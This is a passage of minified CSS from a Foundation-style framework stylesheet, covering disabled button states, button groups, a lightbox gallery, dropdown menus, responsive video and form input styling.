,button.disabled.success:focus ,button[disabled].success:hover ,button[disabled].success:focus ,.button.disabled.success:hover ,.button.disabled.success:focus ,.button[disabled].success:hover ,.button[disabled].success:focus {background-color:#368a54;}button.disabled.success:hover ,button.disabled.success:focus ,button[disabled].success:hover ,button[disabled].success:focus ,.button.disabled.success:hover ,.button.disabled.success:focus ,.button[disabled].success:hover ,.button[disabled].success:focus {color:#ffffff;}button.disabled.success:hover ,button.disabled.success:focus ,button[disabled].success:hover ,button[disabled].success:focus ,.button.disabled.success:hover ,.button.disabled.success:focus ,.button[disabled].success:hover ,.button[disabled].success:focus {background-color:#43ac6a;}button.disabled.alert ,button[disabled].alert ,.button.disabled.alert ,.button[disabled].alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.alert:hover ,button.disabled.alert:focus ,button[disabled].alert:hover ,button[disabled].alert:focus ,.button.disabled.alert:hover ,.button.disabled.alert:focus ,.button[disabled].alert:hover ,.button[disabled].alert:focus {background-color:#cf280e;}button.disabled.alert:hover ,button.disabled.alert:focus ,button[disabled].alert:hover ,button[disabled].alert:focus ,.button.disabled.alert:hover ,.button.disabled.alert:focus ,.button[disabled].alert:hover ,.button[disabled].alert:focus {color:#ffffff;}button.disabled.alert:hover ,button.disabled.alert:focus ,button[disabled].alert:hover ,button[disabled].alert:focus ,.button.disabled.alert:hover ,.button.disabled.alert:focus ,.button[disabled].alert:hover ,.button[disabled].alert:focus {background-color:#f04124;}button.disabled.warning ,button[disabled].warning ,.button.disabled.warning ,.button[disabled].warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.warning:hover ,button.disabled.warning:focus ,button[disabled].warning:hover ,button[disabled].warning:focus ,.button.disabled.warning:hover ,.button.disabled.warning:focus ,.button[disabled].warning:hover ,.button[disabled].warning:focus {background-color:#cf6e0e;}button.disabled.warning:hover ,button.disabled.warning:focus ,button[disabled].warning:hover ,button[disabled].warning:focus ,.button.disabled.warning:hover ,.button.disabled.warning:focus ,.button[disabled].warning:hover ,.button[disabled].warning:focus {color:#ffffff;}button.disabled.warning:hover ,button.disabled.warning:focus ,button[disabled].warning:hover ,button[disabled].warning:focus ,.button.disabled.warning:hover ,.button.disabled.warning:focus ,.button[disabled].warning:hover ,.button[disabled].warning:focus {background-color:#f08a24;}button.disabled.info ,button[disabled].info ,.button.disabled.info ,.button[disabled].info {background-color:#a0d3e8;border-color:#61b7d9;color:#333333;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.info:hover ,button.disabled.info:focus ,button[disabled].info:hover ,button[disabled].info:focus ,.button.disabled.info:hover ,.button.disabled.info:focus ,.button[disabled].info:hover ,.button[disabled].info:focus {background-color:#61b7d9;}button.disabled.info:hover ,button.disabled.info:focus ,button[disabled].info:hover ,button[disabled].info:focus ,.button.disabled.info:hover ,.button.disabled.info:focus ,.button[disabled].info:hover ,.button[disabled].info:focus {color:#ffffff;}button.disabled.info:hover ,button.disabled.info:focus ,button[disabled].info:hover ,button[disabled].info:focus ,.button.disabled.info:hover ,.button.disabled.info:focus ,.button[disabled].info:hover ,.button[disabled].info:focus {background-color:#a0d3e8;}button::-moz-focus-inner {border:0;padding:0;}@media only screen and (min-width:40.063em){button ,.button {display:inline-block;}}.button-group {list-style:none;margin:0;left:0;}.button-group:before ,.button-group:after {content:" ";display:table;}.button-group:after {clear:both;}.button-group>li {margin:0 -2px;display:inline-block;}.button-group > li>button ,.button-group > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group > li:first-child button ,.button-group > li:first-child .button {border-left:0;}.button-group.stack>li {margin:0 -2px;display:inline-block;display:block;margin:0;float:none;}.button-group.stack > li>button ,.button-group.stack > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.stack > li:first-child button ,.button-group.stack > li:first-child .button {border-left:0;}.button-group.stack > li>button ,.button-group.stack > li .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.stack > li:first-child button ,.button-group.stack > li:first-child .button {border-top:0;}.button-group.stack-for-small>li {margin:0 -2px;display:inline-block;}.button-group.stack-for-small > li>button ,.button-group.stack-for-small > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.stack-for-small > li:first-child button ,.button-group.stack-for-small > li:first-child .button {border-left:0;}@media only screen and (max-width: 40em){.button-group.stack-for-small>li {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.stack-for-small > li>button ,.button-group.stack-for-small > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.stack-for-small > li:first-child button ,.button-group.stack-for-small > li:first-child .button {border-left:0;}.button-group.stack-for-small > li>button ,.button-group.stack-for-small > li .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.stack-for-small > li:first-child button ,.button-group.stack-for-small > li:first-child .button {border-top:0;}}.button-group.radius>* {margin:0 -2px;display:inline-block;}.button-group.radius > *>button ,.button-group.radius > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius > *:first-child button ,.button-group.radius > *:first-child .button {border-left:0;}.button-group.radius > * ,.button-group.radius > *>a ,.button-group.radius > *>button ,.button-group.radius > *>.button {border-radius:0;}.button-group.radius > *:first-child ,.button-group.radius > *:first-child>a ,.button-group.radius > *:first-child>button ,.button-group.radius > *:first-child>.button {-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.button-group.radius > *:last-child ,.button-group.radius > *:last-child>a ,.button-group.radius > *:last-child>button ,.button-group.radius > *:last-child>.button {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.button-group.radius.stack>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.radius.stack > *>button ,.button-group.radius.stack > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius.stack > *:first-child button ,.button-group.radius.stack > *:first-child .button {border-left:0;}.button-group.radius.stack > *>button ,.button-group.radius.stack > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.radius.stack > *:first-child button ,.button-group.radius.stack > *:first-child .button {border-top:0;}.button-group.radius.stack > * ,.button-group.radius.stack > *>a ,.button-group.radius.stack > *>button ,.button-group.radius.stack > *>.button {border-radius:0;}.button-group.radius.stack > *:first-child ,.button-group.radius.stack > *:first-child>a ,.button-group.radius.stack > *:first-child>button ,.button-group.radius.stack > *:first-child>.button {-webkit-top-left-radius:3px;-webkit-top-right-radius:3px;border-top-left-radius:3px;border-top-right-radius:3px;}.button-group.radius.stack > *:last-child ,.button-group.radius.stack > *:last-child>a ,.button-group.radius.stack > *:last-child>button ,.button-group.radius.stack > *:last-child>.button {-webkit-bottom-left-radius:3px;-webkit-bottom-right-radius:3px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}@media only screen and (min-width:40.063em){.button-group.radius.stack-for-small>* {margin:0 -2px;display:inline-block;}.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius.stack-for-small > *:first-child button ,.button-group.radius.stack-for-small > *:first-child .button {border-left:0;}.button-group.radius.stack-for-small > * ,.button-group.radius.stack-for-small > *>a ,.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > *>.button {border-radius:0;}.button-group.radius.stack-for-small > *:first-child ,.button-group.radius.stack-for-small > *:first-child>a ,.button-group.radius.stack-for-small > *:first-child>button ,.button-group.radius.stack-for-small > *:first-child>.button {-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.button-group.radius.stack-for-small > *:last-child ,.button-group.radius.stack-for-small > *:last-child>a ,.button-group.radius.stack-for-small > *:last-child>button ,.button-group.radius.stack-for-small > *:last-child>.button {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}}@media only screen and (max-width: 40em){.button-group.radius.stack-for-small>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius.stack-for-small > *:first-child button ,.button-group.radius.stack-for-small > *:first-child .button {border-left:0;}.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.radius.stack-for-small > *:first-child button ,.button-group.radius.stack-for-small > *:first-child .button {border-top:0;}.button-group.radius.stack-for-small > * ,.button-group.radius.stack-for-small > *>a ,.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > *>.button {border-radius:0;}.button-group.radius.stack-for-small > *:first-child ,.button-group.radius.stack-for-small > *:first-child>a ,.button-group.radius.stack-for-small > *:first-child>button ,.button-group.radius.stack-for-small > *:first-child>.button {-webkit-top-left-radius:3px;-webkit-top-right-radius:3px;border-top-left-radius:3px;border-top-right-radius:3px;}.button-group.radius.stack-for-small > *:last-child ,.button-group.radius.stack-for-small > *:last-child>a ,.button-group.radius.stack-for-small > *:last-child>button ,.button-group.radius.stack-for-small > *:last-child>.button {-webkit-bottom-left-radius:3px;-webkit-bottom-right-radius:3px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}}.button-group.round>* {margin:0 -2px;display:inline-block;}.button-group.round > *>button ,.button-group.round > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round > *:first-child button ,.button-group.round > *:first-child .button {border-left:0;}.button-group.round > * ,.button-group.round > *>a ,.button-group.round > *>button ,.button-group.round > *>.button {border-radius:0;}.button-group.round > *:first-child ,.button-group.round > *:first-child>a ,.button-group.round > *:first-child>button ,.button-group.round > *:first-child>.button {-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}.button-group.round > *:last-child ,.button-group.round > *:last-child>a ,.button-group.round > *:last-child>button ,.button-group.round > *:last-child>.button {-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}.button-group.round.stack>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.round.stack > *>button ,.button-group.round.stack > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round.stack > *:first-child button ,.button-group.round.stack > *:first-child .button {border-left:0;}.button-group.round.stack > *>button ,.button-group.round.stack > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.round.stack > *:first-child button ,.button-group.round.stack > *:first-child .button {border-top:0;}.button-group.round.stack > * ,.button-group.round.stack > *>a ,.button-group.round.stack > *>button ,.button-group.round.stack > *>.button {border-radius:0;}.button-group.round.stack > *:first-child ,.button-group.round.stack > *:first-child>a ,.button-group.round.stack > *:first-child>button ,.button-group.round.stack > *:first-child>.button {-webkit-top-left-radius:1rem;-webkit-top-right-radius:1rem;border-top-left-radius:1rem;border-top-right-radius:1rem;}.button-group.round.stack > *:last-child ,.button-group.round.stack > *:last-child>a ,.button-group.round.stack > *:last-child>button ,.button-group.round.stack > *:last-child>.button {-webkit-bottom-left-radius:1rem;-webkit-bottom-right-radius:1rem;border-bottom-left-radius:1rem;border-bottom-right-radius:1rem;}@media only screen and (min-width:40.063em){.button-group.round.stack-for-small>* {margin:0 -2px;display:inline-block;}.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round.stack-for-small > *:first-child button ,.button-group.round.stack-for-small > *:first-child .button {border-left:0;}.button-group.round.stack-for-small > * ,.button-group.round.stack-for-small > *>a ,.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > *>.button {border-radius:0;}.button-group.round.stack-for-small > *:first-child ,.button-group.round.stack-for-small > *:first-child>a ,.button-group.round.stack-for-small > *:first-child>button ,.button-group.round.stack-for-small > *:first-child>.button {-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}.button-group.round.stack-for-small > *:last-child ,.button-group.round.stack-for-small > *:last-child>a ,.button-group.round.stack-for-small > *:last-child>button ,.button-group.round.stack-for-small > *:last-child>.button {-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}}@media only screen and (max-width: 40em){.button-group.round.stack-for-small>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round.stack-for-small > *:first-child button ,.button-group.round.stack-for-small > *:first-child .button {border-left:0;}.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.round.stack-for-small > *:first-child button ,.button-group.round.stack-for-small > *:first-child .button {border-top:0;}.button-group.round.stack-for-small > * ,.button-group.round.stack-for-small > *>a ,.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > *>.button {border-radius:0;}.button-group.round.stack-for-small > *:first-child ,.button-group.round.stack-for-small > *:first-child>a ,.button-group.round.stack-for-small > *:first-child>button ,.button-group.round.stack-for-small > *:first-child>.button {-webkit-top-left-radius:1rem;-webkit-top-right-radius:1rem;border-top-left-radius:1rem;border-top-right-radius:1rem;}.button-group.round.stack-for-small > *:last-child ,.button-group.round.stack-for-small > *:last-child>a ,.button-group.round.stack-for-small > *:last-child>button ,.button-group.round.stack-for-small > *:last-child>.button {-webkit-bottom-left-radius:1rem;-webkit-bottom-right-radius:1rem;border-bottom-left-radius:1rem;border-bottom-right-radius:1rem;}}.button-group.even-2 li {margin:0 -2px;display:inline-block;width:50%;}.button-group.even-2 li>button ,.button-group.even-2 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-2 li:first-child button ,.button-group.even-2 li:first-child .button {border-left:0;}.button-group.even-2 li button ,.button-group.even-2 li .button {width:100%;}.button-group.even-3 li {margin:0 -2px;display:inline-block;width:33.33333%;}.button-group.even-3 li>button ,.button-group.even-3 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-3 li:first-child button ,.button-group.even-3 li:first-child .button {border-left:0;}.button-group.even-3 li button ,.button-group.even-3 li .button {width:100%;}.button-group.even-4 li {margin:0 -2px;display:inline-block;width:25%;}.button-group.even-4 li>button ,.button-group.even-4 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-4 li:first-child button ,.button-group.even-4 li:first-child .button {border-left:0;}.button-group.even-4 li button ,.button-group.even-4 li .button {width:100%;}.button-group.even-5 li {margin:0 -2px;display:inline-block;width:20%;}.button-group.even-5 li>button ,.button-group.even-5 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-5 li:first-child button ,.button-group.even-5 li:first-child .button {border-left:0;}.button-group.even-5 li button ,.button-group.even-5 li .button {width:100%;}.button-group.even-6 li {margin:0 -2px;display:inline-block;width:16.66667%;}.button-group.even-6 li>button ,.button-group.even-6 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-6 li:first-child button ,.button-group.even-6 li:first-child .button {border-left:0;}.button-group.even-6 li button ,.button-group.even-6 li .button {width:100%;}.button-group.even-7 li {margin:0 -2px;display:inline-block;width:14.28571%;}.button-group.even-7 li>button ,.button-group.even-7 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-7 li:first-child button ,.button-group.even-7 li:first-child .button {border-left:0;}.button-group.even-7 li button ,.button-group.even-7 li .button {width:100%;}.button-group.even-8 li {margin:0 -2px;display:inline-block;width:12.5%;}.button-group.even-8 li>button ,.button-group.even-8 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-8 li:first-child button ,.button-group.even-8 li:first-child .button {border-left:0;}.button-group.even-8 li button ,.button-group.even-8 li .button {width:100%;}.button-bar:before ,.button-bar:after {content:" ";display:table;}.button-bar:after {clear:both;}.button-bar .button-group {float:left;margin-right:0.625rem;}.button-bar .button-group div {overflow:hidden;}.clearing-thumbs ,[data-clearing] {margin-bottom:0;margin-left:0;list-style:none;}.clearing-thumbs:before ,.clearing-thumbs:after ,[data-clearing]:before ,[data-clearing]:after {content:" ";display:table;}.clearing-thumbs:after ,[data-clearing]:after {clear:both;}.clearing-thumbs li ,[data-clearing] li {float:left;margin-right:10px;}.clearing-thumbs[class*="block-grid-"] li ,[data-clearing][class*="block-grid-"] li {margin-right:0;}.clearing-blackout {background:#333333;position:fixed;width:100%;height:100%;top:0;left:0;z-index:998;}.clearing-blackout .clearing-close {display:block;}.clearing-container {position:relative;z-index:998;height:100%;overflow:hidden;margin:0;}.clearing-touch-label {position:absolute;top:50%;left:50%;color:#aaaaaa;font-size:0.6em;}.visible-img {height:95%;position:relative;}.visible-img img {position:absolute;left:50%;top:50%;margin-left:-50%;max-height:100%;max-width:100%;}.clearing-caption {color:#cccccc;font-size:0.875em;line-height:1.3;margin-bottom:0;text-align:center;bottom:0;background:#333333;width:100%;padding:10px 30px 20px;position:absolute;left:0;}.clearing-close {z-index:999;padding-left:20px;padding-top:10px;font-size:30px;line-height:1;color:#cccccc;display:none;}.clearing-close:hover ,.clearing-close:focus {color:#cccccc;}.clearing-assembled .clearing-container {height:100%;}.clearing-assembled .clearing-container .carousel>ul {display:none;}.clearing-feature li {display:none;}.clearing-feature li.clearing-featured-img {display:block;}@media only screen and (min-width:40.063em){.clearing-main-prev ,.clearing-main-next {position:absolute;height:100%;width:40px;top:0;}.clearing-main-prev>span ,.clearing-main-next>span {position:absolute;top:50%;display:block;width:0;height:0;border:solid 12px;}.clearing-main-prev > span:hover ,.clearing-main-next > span:hover {opacity:0.8;}.clearing-main-prev {left:0;}.clearing-main-prev>span {left:5px;border-color:transparent;border-right-color:#cccccc;}.clearing-main-next {right:0;}.clearing-main-next>span {border-color:transparent;border-left-color:#cccccc;}.clearing-main-prev.disabled ,.clearing-main-next.disabled {opacity:0.3;}.clearing-assembled .clearing-container .carousel {background:rgba(51, 51, 51, 0.8);height:120px;margin-top:10px;text-align:center;}.clearing-assembled .clearing-container .carousel>ul {display:inline-block;z-index:999;height:100%;position:relative;float:none;}.clearing-assembled .clearing-container .carousel > ul li {display:block;width:120px;min-height:inherit;float:left;overflow:hidden;margin-right:0;padding:0;position:relative;cursor:pointer;opacity:0.4;clear:none;}.clearing-assembled .clearing-container .carousel > ul li.fix-height img {height:100%;max-width:none;}.clearing-assembled .clearing-container .carousel > ul li a.th {border:none;box-shadow:none;display:block;}.clearing-assembled .clearing-container .carousel > ul li img {cursor:pointer !important;width:100% !important;}.clearing-assembled .clearing-container .carousel > ul li.visible {opacity:1;}.clearing-assembled .clearing-container .carousel > ul li:hover {opacity:0.8;}.clearing-assembled .clearing-container .visible-img {background:#333333;overflow:hidden;height:85%;}.clearing-close {position:absolute;top:10px;right:20px;padding-left:0;padding-top:0;}}.f-dropdown {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:2px;max-width:200px;}.f-dropdown>*:first-child {margin-top:0;}.f-dropdown>*:last-child {margin-bottom:0;}.f-dropdown:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:transparent transparent #ffffff transparent;border-bottom-style:solid;position:absolute;top:-12px;left:10px;z-index:89;}.f-dropdown:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:transparent transparent #cccccc transparent;border-bottom-style:solid;position:absolute;top:-14px;left:9px;z-index:88;}.f-dropdown.right:before {left:auto;right:10px;}.f-dropdown.right:after {left:auto;right:9px;}.f-dropdown.drop-right {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:0;margin-left:2px;max-width:200px;}.f-dropdown.drop-right>*:first-child {margin-top:0;}.f-dropdown.drop-right>*:last-child {margin-bottom:0;}.f-dropdown.drop-right:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:transparent #ffffff transparent transparent;border-right-style:solid;position:absolute;top:10px;left:-12px;z-index:89;}.f-dropdown.drop-right:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:transparent #cccccc transparent transparent;border-right-style:solid;position:absolute;top:9px;left:-14px;z-index:88;}.f-dropdown.drop-left {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:0;margin-left:-2px;max-width:200px;}.f-dropdown.drop-left>*:first-child {margin-top:0;}.f-dropdown.drop-left>*:last-child {margin-bottom:0;}.f-dropdown.drop-left:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:transparent transparent transparent #ffffff;border-left-style:solid;position:absolute;top:10px;right:-12px;left:auto;z-index:89;}.f-dropdown.drop-left:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:transparent transparent transparent #cccccc;border-left-style:solid;position:absolute;top:9px;right:-14px;left:auto;z-index:88;}.f-dropdown.drop-top {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;width:100%;max-height:none;height:auto;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;margin-top:-2px;margin-left:0;max-width:200px;}.f-dropdown.drop-top>*:first-child {margin-top:0;}.f-dropdown.drop-top>*:last-child {margin-bottom:0;}.f-dropdown.drop-top:before {content:"";display:block;width:0;height:0;border:inset 6px;border-color:#ffffff transparent transparent transparent;border-top-style:solid;position:absolute;top:auto;bottom:-12px;left:10px;right:auto;z-index:89;}.f-dropdown.drop-top:after {content:"";display:block;width:0;height:0;border:inset 7px;border-color:#cccccc transparent transparent transparent;border-top-style:solid;position:absolute;top:auto;bottom:-14px;left:9px;right:auto;z-index:88;}.f-dropdown li {font-size:0.875rem;cursor:pointer;line-height:1.125rem;margin:0;}.f-dropdown li:hover ,.f-dropdown li:focus {background:#eeeeee;}.f-dropdown li.radius {border-radius:3px;}.f-dropdown li a {display:block;padding:0.5rem;color:#555555;}.f-dropdown.content {position:absolute;left:-9999px;list-style:none;margin-left:0;outline:none;padding:1.25rem;width:100%;height:auto;max-height:none;background:#ffffff;border:solid 1px #cccccc;font-size:0.875rem;z-index:89;max-width:200px;}.f-dropdown.content>*:first-child {margin-top:0;}.f-dropdown.content>*:last-child {margin-bottom:0;}.f-dropdown.tiny {max-width:200px;}.f-dropdown.small {max-width:300px;}.f-dropdown.medium {max-width:500px;}.f-dropdown.large {max-width:800px;}.f-dropdown.mega {width:100% !important;max-width:100% !important;}.f-dropdown.mega.open {left:0 !important;}.dropdown.button ,button.dropdown {position:relative;outline:none;padding-right:3.5625rem;}.dropdown.button::after ,button.dropdown::after {position:absolute;content:"";width:0;height:0;display:block;border-style:solid;border-color:#ffffff transparent transparent transparent;top:50%;}.dropdown.button::after ,button.dropdown::after {border-width:0.375rem;right:1.40625rem;margin-top:-0.15625rem;}.dropdown.button::after ,button.dropdown::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.tiny ,button.dropdown.tiny {padding-right:2.625rem;}.dropdown.button.tiny:after ,button.dropdown.tiny:after {border-width:0.375rem;right:1.125rem;margin-top:-0.125rem;}.dropdown.button.tiny::after ,button.dropdown.tiny::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.small ,button.dropdown.small {padding-right:3.0625rem;}.dropdown.button.small::after ,button.dropdown.small::after {border-width:0.4375rem;right:1.3125rem;margin-top:-0.15625rem;}.dropdown.button.small::after ,button.dropdown.small::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.large ,button.dropdown.large {padding-right:3.625rem;}.dropdown.button.large::after ,button.dropdown.large::after {border-width:0.3125rem;right:1.71875rem;margin-top:-0.15625rem;}.dropdown.button.large::after ,button.dropdown.large::after {border-color:#ffffff transparent transparent transparent;}.dropdown.button.secondary:after ,button.dropdown.secondary:after {border-color:#333333 transparent transparent transparent;}.flex-video {position:relative;padding-top:1.5625rem;padding-bottom:67.5%;height:0;margin-bottom:1rem;overflow:hidden;}.flex-video.widescreen {padding-bottom:56.34%;}.flex-video.vimeo {padding-top:0;}.flex-video iframe ,.flex-video object ,.flex-video embed ,.flex-video video {position:absolute;top:0;left:0;width:100%;height:100%;}form {margin:0 0 1rem;}form .row .row {margin:0 -0.5rem;}form .row .row .column ,form .row .row .columns {padding:0 0.5rem;}form .row .row.collapse {margin:0;}form .row .row.collapse .column ,form .row .row.collapse .columns {padding:0;}form .row .row.collapse input {-webkit-border-bottom-right-radius:0;-webkit-border-top-right-radius:0;border-bottom-right-radius:0;border-top-right-radius:0;}form .row input.column ,form .row input.columns ,form .row textarea.column ,form .row textarea.columns {padding-left:0.5rem;}label {font-size:0.875rem;color:#4d4d4d;cursor:pointer;display:block;font-weight:normal;line-height:1.5;margin-bottom:0;}label.right {float:none !important;text-align:right;}label.inline {margin:0 0 1rem 0;padding:0.5625rem 0;}label small {text-transform:capitalize;color:#686868;}.prefix ,.postfix {display:block;position:relative;z-index:2;text-align:center;width:100%;padding-top:0;padding-bottom:0;border-style:solid;border-width:1px;overflow:hidden;font-size:0.875rem;height:2.3125rem;line-height:2.3125rem;}.postfix.button {padding-left:0;padding-right:0;padding-top:0;padding-bottom:0;text-align:center;line-height:2.125rem;border:none;}.prefix.button {padding-left:0;padding-right:0;padding-top:0;padding-bottom:0;text-align:center;line-height:2.125rem;border:none;}.prefix.button.radius {border-radius:0;-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.postfix.button.radius {border-radius:0;-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.prefix.button.round {border-radius:0;-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}.postfix.button.round {border-radius:0;-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}span.prefix ,label.prefix {background:#f2f2f2;border-right:none;color:#333333;border-color:#cccccc;}span.postfix ,label.postfix {background:#f2f2f2;border-left:none;color:#333333;border-color:#cccccc;}input[type="text"] ,input[type="password"] ,input[type="date"] ,input[type="datetime"] ,input[type="datetime-local"] ,input[type="month"] ,input[type="week"] ,input[type="email"] ,input[type="number"] ,input[type="search"] ,input[type="tel"] ,input[type="time"] ,input[type="url"] ,input[type="color"] ,textarea {-webkit-appearance:none;-webkit-border-radius:0px;background-color:#ffffff;font-family:inherit;border-style:solid;border-width:1px;border-color:#cccccc;box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);color:rgba(0, 0, 0, 0.75);display:block;font-size:0.875rem;margin:0 0 1rem 0;padding:0.5rem;height:2.3125rem;width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;transition:box-shadow 0.45s,border-color 0.45s ease-in-out;}input[type="text"]:focus ,input[type="password"]:focus ,input[type="date"]:focus ,input[type="datetime"]:focus ,input[type="datetime-local"]:focus ,input[type="month"]:focus ,input[type="week"]:focus ,input[type="email"]:focus ,input[type="number"]:focus ,input[type="search"]:focus ,input[type="tel"]:focus ,input[type="time"]:focus ,input[type="url"]:focus ,input[type="color"]:focus ,textarea:focus {box-shadow:0 0 5px #999999;border-color:#999999;}input[type="text"]:focus ,input[type="password"]:focus ,input[type="date"]:focus ,input[type="datetime"]:focus ,input[type="datetime-local"]:focus ,input[type="month"]:focus ,input[type="week"]:focus ,input[type="email"]:focus ,input[type="number"]:focus ,input[type="search"]:focus ,input[type="tel"]:focus ,input[type="time"]:focus ,input[type="url"]:focus ,input[type="color"]:focus ,textarea:focus {background:#fafafa;border-color:#999999;outline:none;}input[type="text"]:disabled ,input[type="password"]:disabled ,input[type="date"]:disabled ,input[type="datetime"]:disabled ,input[type="datetime-local"]:disabled ,input[type="month"]:disabled ,input[type="week"]:disabled ,input[type="email"]:disabled ,input[type="number"]:disabled ,input[type="search"]:disabled ,input[type="tel"]:disabled ,input[type="time"]:disabled ,input[type="url"]:disabled ,input[type="color"]:disabled ,textarea:disabled {background-color:#dddddd;cursor:default;}input[type="text"][disabled] ,input[type="text"][readonly] ,fieldset[disabled] input[type="text"] ,input[type="password"][disabled] ,input[type="password"][readonly] ,fieldset[disabled] input[type="password"] ,input[type="date"][disabled] ,input[type="date"][readonly] ,fieldset[disabled] input[type="date"] ,input[type="datetime"][disabled] ,input[type="datetime"][readonly] ,fieldset[disabled] input[type="datetime"] ,input[type="datetime-local"][disabled] ,input[type="datetime-local"][readonly] ,fieldset[disabled] input[type="datetime-local"] ,input[type="month"][disabled] ,input[type="month"][readonly] ,fieldset[disabled] input[type="month"] ,input[type="week"][disabled] ,input[type="week"][readonly] ,fieldset[disabled] input[type="week"] ,input[type="email"][disabled] ,input[type="email"][readonly] ,fieldset[disabled] input[type="email"] ,input[type="number"][disabled] ,input[type="number"][readonly] ,fieldset[disabled] input[type="number"] 